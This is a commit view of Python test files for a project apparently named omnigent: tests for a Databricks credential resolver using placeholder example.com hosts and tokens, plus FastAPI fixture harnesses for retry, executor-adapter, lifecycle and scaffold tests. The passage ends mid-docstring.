chore: import upstream snapshot with attribution

This commit is contained in:
wehub-resource-sync
2026-07-13 13:12:00 +08:00
commit 3de48288cb
2986 changed files with 1131193 additions and 0 deletions
View File
@@ -0,0 +1,412 @@
"""Tests for omnigent.runtime.credentials.databricks."""
from __future__ import annotations
import logging
from pathlib import Path
import pytest
from omnigent.runtime.credentials.databricks import (
WorkspaceCreds,
resolve_databricks_workspace,
)
@pytest.fixture(autouse=True)
def _clean_env(monkeypatch: pytest.MonkeyPatch) -> None:
"""
Strip every credential-related env var before each test so the
resolver cannot accidentally pick up the developer's real
credentials, and short-circuit the SDK path so tests don't
perform real OAuth / network authentication.
Why the SDK short-circuit: ``databricks.sdk.config.Config(...)
.authenticate()`` walks every supported auth_type — PAT, OAuth-
U2M, Azure CLI, OIDC, IMDS, etc. Several of those make
network calls or shell out to external CLIs even when the
resolver intends to fall through to the cfg-file path. Without
this monkeypatch the suite takes ~35 minutes; with it, ~0.4s.
Each test that wants to exercise the SDK path explicitly
overrides this monkeypatch (see ``test_resolves_via_sdk_*``).
"""
for var in (
"DATABRICKS_CONFIG_FILE",
"DATABRICKS_CONFIG_PROFILE",
):
monkeypatch.delenv(var, raising=False)
def _raise_value_error(*_args: object, **_kwargs: object) -> None:
raise ValueError("SDK path disabled in tests by default")
monkeypatch.setattr("databricks.sdk.config.Config", _raise_value_error)
def _write_cfg(tmp_path: Path, body: str) -> Path:
"""
Write *body* to a temporary ``.databrickscfg`` and return its path.
:param tmp_path: pytest's per-test temp directory.
:param body: The exact INI text to write.
:returns: The :class:`Path` to the written config file.
"""
cfg = tmp_path / "databrickscfg"
cfg.write_text(body)
return cfg
def test_openai_env_vars_are_ignored(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
# OPENAI_BASE_URL / OPENAI_API_KEY are used elsewhere in the
# codebase to point at full serving-endpoints URLs; this resolver
# MUST NOT treat them as workspace creds. If it did, a downstream
# caller appending the gateway path would produce a malformed URL
# like .../serving-endpoints/ai-gateway/mlflow/v1.
monkeypatch.setenv("OPENAI_BASE_URL", "https://example.com/serving-endpoints")
monkeypatch.setenv("OPENAI_API_KEY", "openai-token")
cfg = _write_cfg(
tmp_path,
"[DEFAULT]\nhost = https://default.example.com\ntoken = default-token\n",
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
creds = resolve_databricks_workspace(profile=None)
# Resolver ignored the OPENAI_* env vars and went straight to the
# cfg file. If this returned the OpenAI host instead, the resolver
# is silently mis-using OpenAI env vars as workspace credentials.
assert creds.host == "https://default.example.com"
assert creds.token == "default-token"
def test_resolves_named_profile_from_cfg(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
cfg = _write_cfg(
tmp_path,
("[dev]\nhost = https://dev.example.com\ntoken = dev-token\n"),
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
creds = resolve_databricks_workspace(profile="dev")
# Named-profile branch returned the [dev] section's exact values.
assert creds == WorkspaceCreds(host="https://dev.example.com", token="dev-token")
def test_resolves_default_when_profile_is_none(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
cfg = _write_cfg(
tmp_path,
("[DEFAULT]\nhost = https://default.example.com\ntoken = default-token\n"),
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
creds = resolve_databricks_workspace(profile=None)
# profile=None went straight to [DEFAULT] and pulled both values.
assert creds == WorkspaceCreds(host="https://default.example.com", token="default-token")
def test_named_profile_overrides_default(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
cfg = _write_cfg(
tmp_path,
(
"[DEFAULT]\n"
"host = https://default.example.com\n"
"token = default-token\n"
"\n"
"[dev]\n"
"host = https://dev.example.com\n"
"token = dev-token\n"
),
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
creds = resolve_databricks_workspace(profile="dev")
# When the named profile exists AND has both fields, it wins over
# [DEFAULT]. If this returned the DEFAULT host instead, the
# resolver is silently ignoring the requested profile.
assert creds.host == "https://dev.example.com"
assert creds.token == "dev-token"
def test_absent_named_profile_raises_not_falls_back_to_default(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
# [DEFAULT] has valid creds but [ghost] doesn't exist. The resolver
# must raise OSError rather than silently routing to DEFAULT — a
# typo in --profile would otherwise send requests to a completely
# different workspace without any error.
cfg = _write_cfg(
tmp_path,
("[DEFAULT]\nhost = https://default.example.com\ntoken = default-token\n"),
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
with pytest.raises(OSError) as excinfo:
resolve_databricks_workspace(profile="ghost")
msg = str(excinfo.value)
assert "ghost" in msg
assert str(cfg) in msg
def test_databricks_config_profile_env_var_typo_raises_not_falls_back_to_default(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
# Simulates: `omnigent run foo.yaml --profile typo-profile --model databricks/m`
# _propagate_profile_to_environment sets DATABRICKS_CONFIG_PROFILE="typo-profile".
# DatabricksAdapter calls resolve_databricks_workspace(None).
# Without the effective_profile fix, the configparser path receives profile=None,
# skips the named-section check, and silently returns [DEFAULT] creds.
cfg = _write_cfg(
tmp_path,
"[DEFAULT]\nhost = https://default.example.com\ntoken = default-token\n",
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
monkeypatch.setenv("DATABRICKS_CONFIG_PROFILE", "typo-profile")
with pytest.raises(OSError) as excinfo:
resolve_databricks_workspace(profile=None)
msg = str(excinfo.value)
assert "typo-profile" in msg
assert str(cfg) in msg
def test_strips_trailing_slash_from_host(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
cfg = _write_cfg(
tmp_path,
("[dev]\nhost = https://dev.example.com///\ntoken = dev-token\n"),
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
creds = resolve_databricks_workspace(profile="dev")
# Three trailing slashes in the cfg, zero in the result. Callers
# rely on this normalization to use the host directly as an
# OpenAI base_url without further cleanup.
assert creds.host == "https://dev.example.com"
def test_raises_when_all_sources_empty(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
# Point DATABRICKS_CONFIG_FILE at a path that does not exist so
# the resolver cannot accidentally pick up the developer's real
# ~/.databrickscfg. The autouse fixture has already disabled the
# SDK path.
missing_cfg = tmp_path / "does-not-exist"
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(missing_cfg))
with pytest.raises(OSError) as excinfo:
resolve_databricks_workspace(profile="dev")
msg = str(excinfo.value)
# The error must name every source that was checked so the
# caller can debug exactly which piece is missing.
assert "databricks-sdk" in msg
assert "[dev]" in msg or "profile [dev]" in msg
assert "[DEFAULT]" in msg
assert str(missing_cfg) in msg
def test_raises_when_cfg_section_missing_token(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
cfg = _write_cfg(
tmp_path,
(
"[dev]\nhost = https://dev.example.com\n"
# NOTE: no token line
),
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
# The [dev] section exists but is missing the token. The resolver
# must NOT silently substitute an empty token — it must treat the
# section as unresolved and (since [DEFAULT] is also missing)
# raise OSError.
with pytest.raises(OSError):
resolve_databricks_workspace(profile="dev")
def test_malformed_named_section_does_not_silently_fall_back_to_default(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
# Two sections exist: a malformed [dev] (missing token) and a
# complete [DEFAULT]. The resolver must NOT silently use DEFAULT
# when the user explicitly asked for [dev] — that would send the
# caller to a different workspace than they requested, which is
# very hard to debug because everything "works" but talks to
# the wrong place.
cfg = _write_cfg(
tmp_path,
(
"[DEFAULT]\n"
"host = https://default.example.com\n"
"token = default-token\n"
"\n"
"[dev]\n"
"host = https://dev.example.com\n"
# NOTE: no token line — section present but invalid
),
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
with pytest.raises(OSError) as excinfo:
resolve_databricks_workspace(profile="dev")
msg = str(excinfo.value)
# Error must name the offending profile so the user knows which
# section to fix.
assert "[dev]" in msg
# Error should mention 'malformed' or what's missing so the user
# can debug fast.
assert "malformed" in msg.lower() or "token" in msg
def test_resolves_via_sdk_when_sdk_returns_creds(
monkeypatch: pytest.MonkeyPatch,
) -> None:
# Override the autouse fixture's SDK short-circuit so this test
# exercises the SDK branch end-to-end (with a fake Config that
# returns plausible OAuth-style results — proves the resolver
# works for ``auth_type = databricks-cli`` profiles whose cfg
# sections have NO static ``token`` field).
class _FakeConfig:
def __init__(self, *, profile: str | None) -> None:
self.host = "https://sdk.example.com/" # trailing slash on purpose
def authenticate(self) -> dict[str, str]:
return {"Authorization": "Bearer sdk-minted-token"}
monkeypatch.setattr("databricks.sdk.config.Config", _FakeConfig)
creds = resolve_databricks_workspace(profile="some-oauth-profile")
# SDK path returned a freshly-minted bearer; trailing slash on
# the host was stripped on the way out.
assert creds == WorkspaceCreds(host="https://sdk.example.com", token="sdk-minted-token")
def test_sdk_failure_falls_through_to_cfg(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
# Autouse fixture already sets Config to raise ValueError. Provide
# a cfg file with a plain-PAT [dev] section. The resolver must
# catch the SDK ValueError and fall through to the configparser
# path rather than propagating the failure.
cfg = _write_cfg(
tmp_path,
"[dev]\nhost = https://cfg-fallback.example.com\ntoken = cfg-token\n",
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
creds = resolve_databricks_workspace(profile="dev")
# If this returned None or raised, the resolver isn't catching
# the SDK's ValueError properly — the cfg-file fallback would
# never run for any setup where the SDK initialization fails.
assert creds.host == "https://cfg-fallback.example.com"
assert creds.token == "cfg-token"
def test_sdk_non_bearer_auth_falls_through(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
# Some auth schemes (Basic, etc.) return non-Bearer Authorization
# headers. The resolver doesn't support those — it must fall
# through to the cfg-file path rather than returning a malformed
# token.
class _NonBearerConfig:
def __init__(self, *, profile: str | None) -> None:
self.host = "https://sdk.example.com"
def authenticate(self) -> dict[str, str]:
return {"Authorization": "Basic some-base64-blob"}
monkeypatch.setattr("databricks.sdk.config.Config", _NonBearerConfig)
cfg = _write_cfg(
tmp_path,
"[dev]\nhost = https://cfg.example.com\ntoken = cfg-token\n",
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
creds = resolve_databricks_workspace(profile="dev")
# SDK returned Basic auth (unsupported) → resolver fell through
# to the cfg path. If this returned an "sdk.example.com" host,
# the resolver is silently accepting non-Bearer schemes.
assert creds.host == "https://cfg.example.com"
def test_sdk_value_error_does_not_emit_warning(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Path,
caplog: pytest.LogCaptureFixture,
) -> None:
# Regression: SDK ValueError used to log at WARNING with
# exc_info=True, dumping a 40-line traceback ahead of the clean
# ClickException. INFO keeps it in cli-*.log but off stderr.
cfg = _write_cfg(
tmp_path,
"[dev]\nhost = https://cfg.example.com\ntoken = cfg-token\n",
)
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(cfg))
with caplog.at_level(logging.DEBUG, logger="omnigent.runtime.credentials.databricks"):
resolve_databricks_workspace(profile="dev")
module_records = [
r for r in caplog.records if r.name == "omnigent.runtime.credentials.databricks"
]
# WARNING+ would re-introduce the stderr traceback.
warnings_or_louder = [r for r in module_records if r.levelno >= logging.WARNING]
assert warnings_or_louder == [], (
f"Expected no WARNING+ records, got "
f"{[(r.levelname, r.getMessage()) for r in warnings_or_louder]}."
)
# INFO record preserves the diagnostic for cli-*.log post-mortem.
info_records = [
r
for r in module_records
if r.levelno == logging.INFO and "Config(profile=" in r.getMessage()
]
assert len(info_records) == 1, (
f"Expected one INFO record, got {len(info_records)}. "
f"Records: {[(r.levelname, r.getMessage()) for r in module_records]}."
)
# exc_info is (type, value, traceback); [2] must be real, else the
# frames won't render in the log.
exc_info = info_records[0].exc_info
assert exc_info is not None and exc_info[2] is not None, (
"INFO record must carry exc_info with a real traceback."
)
def test_honors_databricks_config_file_env(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
# Two cfg files in different locations; we point
# DATABRICKS_CONFIG_FILE at the second one and expect that one to
# be used. This proves the env var overrides the default
# ~/.databrickscfg path.
decoy_dir = tmp_path / "decoy"
decoy_dir.mkdir()
real_dir = tmp_path / "real"
real_dir.mkdir()
decoy = _write_cfg(
decoy_dir,
"[DEFAULT]\nhost = https://decoy.example.com\ntoken = decoy-token\n",
)
real = _write_cfg(
real_dir,
"[DEFAULT]\nhost = https://real.example.com\ntoken = real-token\n",
)
assert decoy.exists() # sanity check: both files were written
monkeypatch.setenv("DATABRICKS_CONFIG_FILE", str(real))
creds = resolve_databricks_workspace(profile=None)
# The resolver read from `real`, not `decoy`. If this assertion
# fails on the decoy host, the env var override is broken.
assert creds.host == "https://real.example.com"
assert creds.token == "real-token"
View File
@@ -0,0 +1,138 @@
"""
Controllable fixture harness for the Phase 5 retry integration tests.
Implements the harness contract via :class:`HarnessApp` so the
runner subprocess can serve it like any production wrap. Behavior
is steered through env vars + a file-based counter (cross-process
state because each retry attempt spawns a fresh subprocess):
- ``RETRY_HARNESS_COUNTER_FILE``: path to a file holding a
decimal integer. Incremented on every ``run_turn`` invocation.
Initial value 0; first call sees 1 after increment.
- ``RETRY_HARNESS_BEHAVIOR``: ``"die_first_succeed_after"`` or
``"always_succeed"``. The first variant kills its own subprocess
with ``SIGKILL`` on the first call (counter == 1) and emits
a normal response thereafter; this exercises the L2-retry path
in the AP-side workflow. The second variant always emits a
normal response — used by the "no L2 retry on healthy harness"
pin.
The "normal response" is two events: an ``OutputTextDeltaEvent``
carrying the text (so the streaming-pipeline branch fires for
:class:`TextChunk`) and the scaffold-emitted terminal
``response.completed``. Tests assert on the captured
``response.output_text.delta`` SSE events — that's the exact
end-to-end pipeline the user sees in the REPL.
"""
from __future__ import annotations
import logging
import os
import signal
from pathlib import Path
from fastapi import FastAPI
from omnigent.runtime.harnesses._scaffold import HarnessApp, TurnContext
from omnigent.server.schemas import CreateResponseRequest, OutputTextDeltaEvent
_logger = logging.getLogger(__name__)
# Env-var keys for steering behavior.
_ENV_COUNTER_FILE = "RETRY_HARNESS_COUNTER_FILE"
_ENV_BEHAVIOR = "RETRY_HARNESS_BEHAVIOR"
# Behavior tokens.
_BEHAVIOR_DIE_FIRST = "die_first_succeed_after"
_BEHAVIOR_ALWAYS_SUCCEED = "always_succeed"
def _bump_counter() -> int:
"""
Atomically increment the cross-process call counter and
return the post-increment value.
File-based because each L2 retry attempt spawns a fresh
subprocess; in-memory state would reset to zero on each
spawn and the "die-then-succeed" sequence couldn't fire.
:returns: The counter value AFTER increment, e.g. ``1`` on
the first ``run_turn``.
"""
path = os.environ.get(_ENV_COUNTER_FILE)
if path is None:
# No counter file configured — return 1 every time so
# behaviors that key off "first call" still fire on the
# first invocation per spawn. Test fixtures always set
# the env var; this path is a defensive fallback.
return 1
counter_path = Path(path)
if not counter_path.exists():
counter_path.write_text("0", encoding="utf-8")
current = int(counter_path.read_text(encoding="utf-8").strip() or "0")
current += 1
counter_path.write_text(str(current), encoding="utf-8")
return current
class _RetryTestHarness(HarnessApp):
"""
:class:`HarnessApp` subclass driven by env-var-configured
behavior. See module docstring.
"""
async def run_turn(
self,
request: CreateResponseRequest,
ctx: TurnContext,
) -> None:
"""
Drive one turn according to the configured behavior.
:param request: The decoded request body. Ignored —
behavior is environment-driven, not request-driven.
:param ctx: The per-turn :class:`TurnContext` for
emitting events.
"""
del request # behavior is env-driven
count = _bump_counter()
behavior = os.environ.get(_ENV_BEHAVIOR, _BEHAVIOR_ALWAYS_SUCCEED)
if behavior == _BEHAVIOR_DIE_FIRST and count == 1:
# SIGKILL the subprocess. The scaffold has already
# opened the streaming response on AP's side; the
# AP-side ``aiter_text`` raises ``ReadError`` once
# the UDS socket closes, which the L2 retry layer
# catches and re-issues against a fresh harness.
_logger.warning(
"_RetryTestHarness: BEHAVIOR=%s count=%d -> SIGKILL self",
behavior,
count,
)
os.kill(os.getpid(), signal.SIGKILL)
return # unreachable
# Normal success path — emit one text delta then return.
# The scaffold emits the terminal ``response.completed``
# automatically once ``run_turn`` returns.
ctx.emit(
OutputTextDeltaEvent(
type="response.output_text.delta",
delta=f"ok-from-attempt-{count}",
)
)
def create_app() -> FastAPI:
"""
Build the retry-test fixture harness's FastAPI app.
Required entry point per the harness contract. Wires the
scaffold around :class:`_RetryTestHarness`.
:returns: A :class:`FastAPI` instance with the harness
contract routes (POST /v1/responses, PATCH, cancel,
etc.) backed by the test-controllable harness.
"""
return _RetryTestHarness().build()
@@ -0,0 +1,208 @@
"""
Fixture harness for executor-adapter tests.
Constructs a :class:`ExecutorAdapter` wrapped around a
:class:`MockExecutor` whose script is selected by the
``MOCK_EXECUTOR_SCRIPT`` env var the tests set per case.
Four scripts:
- ``"text_only"``: a single TurnComplete with response text.
- ``"tool_call"``: a ToolCallRequest, then a ToolCallComplete
with a result, then a TurnComplete (no further text).
- ``"error"``: an ExecutorError event.
- ``"cancelled"``: a TurnCancelled event.
- ``"capture_messages"``: writes the received messages list as
JSON to the path in ``MOCK_EXECUTOR_CAPTURE_PATH``, then
emits a TurnComplete. Used to verify the full AP→harness→
inner-executor history pipeline (the regression that broke
``--resume`` follow-ups).
Lives under ``tests/`` so it doesn't ship as production code.
"""
from __future__ import annotations
import json
import os
from collections.abc import AsyncIterator, Callable
from fastapi import FastAPI
from omnigent.inner.executor import (
Executor,
ExecutorConfig,
ExecutorError,
ExecutorEvent,
Message,
MockExecutor,
ToolCallComplete,
ToolCallRequest,
ToolCallStatus,
ToolSpec,
TurnCancelled,
TurnComplete,
)
from omnigent.runtime.harnesses._executor_adapter import ExecutorAdapter
_SCRIPT_ENV_VAR = "MOCK_EXECUTOR_SCRIPT"
_CAPTURE_PATH_ENV_VAR = "MOCK_EXECUTOR_CAPTURE_PATH"
class _CapturingExecutor(Executor):
"""
Inner :class:`Executor` that writes the messages it receives
to a file the test reads back.
Used to verify the harness boundary preserves the full
conversation history (the bug fixed in the resume-history
commit). The capture file is the proof: if the file shows
only the most recent user message, the harness regressed
to "latest user only" and ``--resume`` follow-ups will
silently lose context again.
"""
async def run_turn(
self,
messages: list[Message],
tools: list[ToolSpec],
system_prompt: str,
config: ExecutorConfig | None = None,
) -> AsyncIterator[ExecutorEvent]:
capture_path = os.environ.get(_CAPTURE_PATH_ENV_VAR)
if capture_path:
with open(capture_path, "w", encoding="utf-8") as f:
json.dump(messages, f)
yield TurnComplete(response="captured")
async def close(self) -> None:
"""No-op — no resources to release in the capture stub."""
async def close_session(self, session_key: str) -> None:
"""No-op — no per-session resources to release."""
del session_key
def _build_text_only() -> Executor:
"""
MockExecutor scripted with a single text-only TurnComplete.
:returns: A configured :class:`MockExecutor` instance.
"""
executor = MockExecutor()
executor.enqueue_response("hello from mock")
return executor
def _build_tool_call() -> Executor:
"""
MockExecutor scripted with a tool call observation.
Yields a :class:`ToolCallRequest`, a :class:`ToolCallComplete`
with a string result, then a final :class:`TurnComplete`. The
adapter should translate request+complete into paired
function_call + function_call_output items per the v1
native-tool emission pattern.
:returns: A configured :class:`MockExecutor` instance.
"""
executor = MockExecutor()
# Hand-build the events list — MockExecutor's enqueue_tool_call
# helper splits the tool call across two turns to simulate the
# external-loop pattern, but we want a single turn that emits
# request + complete + turn-complete in sequence (which is
# what handles_tools_internally executors do).
executor._turns.append(
[
ToolCallRequest(
name="echo_tool",
args={"x": 1},
metadata={"call_id": "call_test_1"},
),
ToolCallComplete(
name="echo_tool",
status=ToolCallStatus.SUCCESS,
result="tool result",
# A handles_tools_internally executor (e.g. antigravity) stamps
# the request's real call_id on the completion too, so the
# observed function_call and its function_call_output pair
# downstream (an id-less completion cannot pair and is dropped).
metadata={"call_id": "call_test_1"},
),
TurnComplete(response=None),
]
)
return executor
def _build_error() -> Executor:
"""
MockExecutor scripted with an :class:`ExecutorError`.
The adapter should re-raise this so the scaffold emits
``response.failed``.
:returns: A configured :class:`MockExecutor` instance.
"""
executor = MockExecutor()
executor._turns.append([ExecutorError(message="mock error")])
return executor
def _build_cancelled() -> Executor:
"""
MockExecutor scripted with a provider-side :class:`TurnCancelled`.
The adapter should map this cleanly to ``response.cancelled`` rather than
falling through to ``response.completed``.
:returns: A configured :class:`MockExecutor` instance.
"""
executor = MockExecutor()
executor._turns.append([TurnCancelled(reason="provider_cancelled")])
return executor
def _build_capture_messages() -> Executor:
"""
:class:`_CapturingExecutor` builder.
The executor itself reads ``MOCK_EXECUTOR_CAPTURE_PATH``
inside ``run_turn`` so the test can drop the path in just
before each request.
:returns: A :class:`_CapturingExecutor` instance.
"""
return _CapturingExecutor()
_SCRIPTS: dict[str, Callable[[], Executor]] = {
"text_only": _build_text_only,
"tool_call": _build_tool_call,
"error": _build_error,
"cancelled": _build_cancelled,
"capture_messages": _build_capture_messages,
}
def create_app() -> FastAPI:
"""
Build the fixture FastAPI app for whichever script the
``MOCK_EXECUTOR_SCRIPT`` env var selects.
:returns: The :class:`ExecutorAdapter`'s
:class:`FastAPI` instance.
:raises ValueError: If the env var is unset or names an
unknown script.
"""
script_name = os.environ.get(_SCRIPT_ENV_VAR)
if script_name is None:
raise ValueError(
f"{_SCRIPT_ENV_VAR} env var not set; tests must select "
f"a script before spawning the runner"
)
builder = _SCRIPTS.get(script_name)
if builder is None:
raise ValueError(f"unknown mock script {script_name!r}; available: {sorted(_SCRIPTS)}")
adapter = ExecutorAdapter(executor_factory=builder)
return adapter.build()
+176
View File
@@ -0,0 +1,176 @@
"""
Minimal harness fixture for the process-manager / runner tests.
Exports ``create_app() -> FastAPI`` matching the contract from
``designs/SERVER_HARNESS_CONTRACT.md`` §Required harness package
shape, so the runner can import + serve it the same way it would
serve a real harness wrap.
The app implements just enough surface for the lifecycle tests to
verify spawn / health / round-trip behavior:
- ``GET /health`` returns ``{"status": "ok"}`` (the standard probe).
- ``GET /pid`` returns the runner subprocess's pid — useful for
tests that need to verify the same subprocess persists across
multiple ``get_client`` calls.
- ``GET /conversation-id`` returns the value the runner stashed
on ``app.state.conversation_id`` — verifies the
``--conversation-id`` plumbing in the runner.
- ``GET /env/{name}`` returns the subprocess's value for the
given env var (or ``null``). Used by per-spawn-env tests to
verify ``HarnessProcessManager.get_client(env=...)`` actually
threads through to the spawned process.
- ``GET /slow-stream`` emits a chunk every 0.5s for ``count``
seconds. Used by the reaper-mid-stream regression test to
hold a streaming response open across reaper passes and
verify the active stream isn't torn down by an over-eager
``last_used_at`` cutoff.
- ``GET /stuck-shutdown`` returns immediately but its background
task ignores cancellation forever. Used to verify a plain
SIGTERM has a hard-exit backstop even if graceful shutdown
wedges before lifespan teardown completes.
- ``POST /v1/sessions/{conversation_id}/events`` accepts
interrupt events. Used by cancel-forwarding tests.
Lives under ``tests/`` so it doesn't ship as production code; the
test process registers the module path
(``"tests.runtime.harnesses._test_harness"``) in
:data:`omnigent.runtime.harnesses._HARNESS_MODULES` per test.
"""
from __future__ import annotations
import asyncio
import os
import time
from fastapi import FastAPI, HTTPException, Request
from fastapi.responses import Response, StreamingResponse
def create_app() -> FastAPI:
"""
Build the test fixture harness's FastAPI app.
:returns: A bare-minimum :class:`FastAPI` instance with three
introspection endpoints used by the test suite. NOT the
full harness contract — production wraps implement
``/v1/responses`` etc.
"""
app = FastAPI(title="harness-test-fixture")
app.state.session_events = []
@app.get("/health")
async def health() -> dict[str, str]:
"""Standard liveness probe used by spawn-readiness checks."""
return {"status": "ok"}
@app.get("/pid")
async def pid() -> dict[str, int]:
"""
Return the subprocess's OS pid for caching-verification tests.
:returns: ``{"pid": <int>}`` where the int is the runner
subprocess's own ``os.getpid()``. Tests compare this
across two calls to confirm the process manager
re-used the same subprocess.
"""
return {"pid": os.getpid()}
@app.get("/conversation-id")
async def conversation_id(request: Request) -> dict[str, str]:
"""
Echo back the conversation id the runner stashed on
``app.state.conversation_id``.
:param request: FastAPI's request handle, used to reach
``request.app.state.conversation_id``.
:returns: ``{"conversation_id": <str>}`` proving the
runner CLI plumbing wired the value through.
"""
return {"conversation_id": request.app.state.conversation_id}
@app.get("/env/{name}")
async def env_var(name: str) -> dict[str, str | None]:
"""
Return the subprocess's value for an env var.
Used by per-spawn-env tests to verify that
``HarnessProcessManager.get_client(env=...)`` actually
threads the override into the spawned process's environment
(rather than only the parent's ``os.environ``).
:param name: The env var name to look up, e.g.
``"HARNESS_TEST_CUSTOM"``.
:returns: ``{"value": <str>}`` if set, ``{"value": None}``
otherwise.
"""
return {"value": os.environ.get(name)}
@app.get("/slow-stream")
async def slow_stream(count: int = 5) -> StreamingResponse:
"""
Stream ``count`` chunks, one per 0.5s, then close cleanly.
Used by the reaper-mid-stream regression test to hold an
AP→harness UDS connection open across at least one reaper
pass. The body iterator yields ``"chunk-N\\n"`` lines so
the consumer can verify the stream actually delivered all
chunks (mid-tear-down would surface as a partial read or
an httpx ``ReadError``). Default ``count=5`` × 0.5s = 2.5s
— long enough that a 1.0s ``idle_timeout_s`` reaper has
a clear window to fire mid-stream.
:param count: Number of chunks to emit, e.g. ``5``.
:returns: A :class:`StreamingResponse` whose body iterator
yields one chunk per 0.5s.
"""
async def _iter() -> object:
for i in range(count):
await asyncio.sleep(0.5)
yield f"chunk-{i}\n".encode()
return StreamingResponse(_iter(), media_type="text/plain")
@app.get("/stuck-shutdown")
async def stuck_shutdown() -> dict[str, str]:
"""Start a background task that ignores cancellation forever."""
async def _ignore_cancellation() -> None:
while True:
try:
await asyncio.sleep(60)
except asyncio.CancelledError:
# Keep the task alive so uvicorn's graceful
# shutdown path wedges unless the runner's
# hard-exit backstop fires.
time.sleep(0.1)
app.state.stuck_shutdown_task = asyncio.create_task(_ignore_cancellation())
return {"status": "stuck_task_started"}
@app.post("/v1/sessions/{conversation_id}/events")
async def session_event(
conversation_id: str,
request: Request,
) -> Response:
"""
Accept a harness session event.
:param conversation_id: Omnigent conversation id, e.g.
``"conv_cancel"``.
:param request: FastAPI request handle.
:returns: Empty ``204 No Content`` response.
:raises HTTPException: If the event body is not an
``interrupt`` event.
"""
event = await request.json()
if not isinstance(event, dict) or event.get("type") != "interrupt":
raise HTTPException(status_code=400, detail="expected interrupt event")
request.app.state.session_events.append(
{"conversation_id": conversation_id, "event": event}
)
return Response(status_code=204)
return app
@@ -0,0 +1,464 @@
"""
HarnessApp subclass fixtures for scaffold tests.
Each fixture exercises one slice of the scaffold contract — echo,
tool dispatch, elicitation, cancellation, injection. They share
the convention that ``create_app`` in this module reads an
environment variable (``HARNESS_TEST_FIXTURE``) to pick which
subclass to instantiate so the tests can register a single
module path in ``_HARNESS_MODULES`` and parametrize the fixture
selection per test.
Lives under ``tests/`` so it doesn't ship as production code.
"""
from __future__ import annotations
import asyncio
import json
import os
from fastapi import FastAPI
from omnigent.runtime.harnesses._scaffold import HarnessApp, TurnContext
from omnigent.server.schemas import (
CreateResponseRequest,
ElicitationRequestParams,
OutputItemDoneEvent,
OutputTextDeltaEvent,
)
# Environment variable read at ``create_app`` time to select which
# fixture subclass to spawn. Each test sets this before triggering
# a process-manager spawn.
_FIXTURE_ENV_VAR = "HARNESS_TEST_FIXTURE"
class _EchoHarness(HarnessApp):
"""
Trivial harness: emits a single ``response.output_text.delta``
with the request input echoed back, then returns.
Verifies the basic streaming + terminal-event path: SSE
connection, sequence numbering, ``response.completed`` close.
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
# Stringify the input list — tests assert the echoed text
# contains a marker they injected.
echoed = json.dumps(request.input or [])
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta=echoed))
class _UsageHarness(HarnessApp):
"""
Emits provider usage with ``context_tokens`` and the cache
breakdown set.
Verifies the scaffold preserves both the context-fill field and
the Anthropic-style cache-read / cache-creation token counts in
the terminal ``response.completed`` event instead of dropping
them while converting the inner executor usage dict to the wire
:class:`Usage` model. The cache counts are what the server-side
cost path prices at their own rates, so dropping them silently
reverts cost to the cache-blind ``input+output`` formula.
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
ctx.provider_usage = {
"input_tokens": 10_300,
"output_tokens": 500,
"total_tokens": 10_800,
"context_tokens": 5_700,
"cache_read_input_tokens": 8_000,
"cache_creation_input_tokens": 2_000,
}
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta="usage"))
class _ToolDispatchHarness(HarnessApp):
"""
Emits a ``function_call`` (action_required), parks on the
PATCH-delivered result, then echoes the result back as a text
delta.
Verifies: action_required emit, Future parking on
``ctx.dispatch_tool``, PATCH route resolves the Future,
subclass receives the output string.
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
result = await ctx.dispatch_tool(
call_id="call_test_1",
name="echo_tool",
arguments='{"x": 1}',
agent="test-agent",
)
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta=f"got:{result}"))
class _ElicitationHarness(HarnessApp):
"""
Emits an elicitation request, parks on the event-delivered
reply, then emits the reply's action as a text delta.
Verifies: elicitation_request emit, Future parking on
``ctx.elicit``, ``approval`` event on
``POST /v1/sessions/{id}/events`` resolves the Future, and
the subclass receives the :class:`ElicitationResult`.
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
result = await ctx.elicit(
elicitation_id="elicit_test_1",
params=ElicitationRequestParams(mode="form", message="approve?"),
)
ctx.emit(
OutputTextDeltaEvent(
type="response.output_text.delta", delta=f"action:{result.action}"
)
)
class _CancellableHarness(HarnessApp):
"""
Sleeps in a poll loop checking ``ctx.cancelled`` every 50ms,
then either emits ``"timeout"`` (if it sleeps the full 5s) or
emits ``"cancelled"`` (if cancellation arrives mid-sleep).
Verifies: cancel route sets the event, the subclass observes
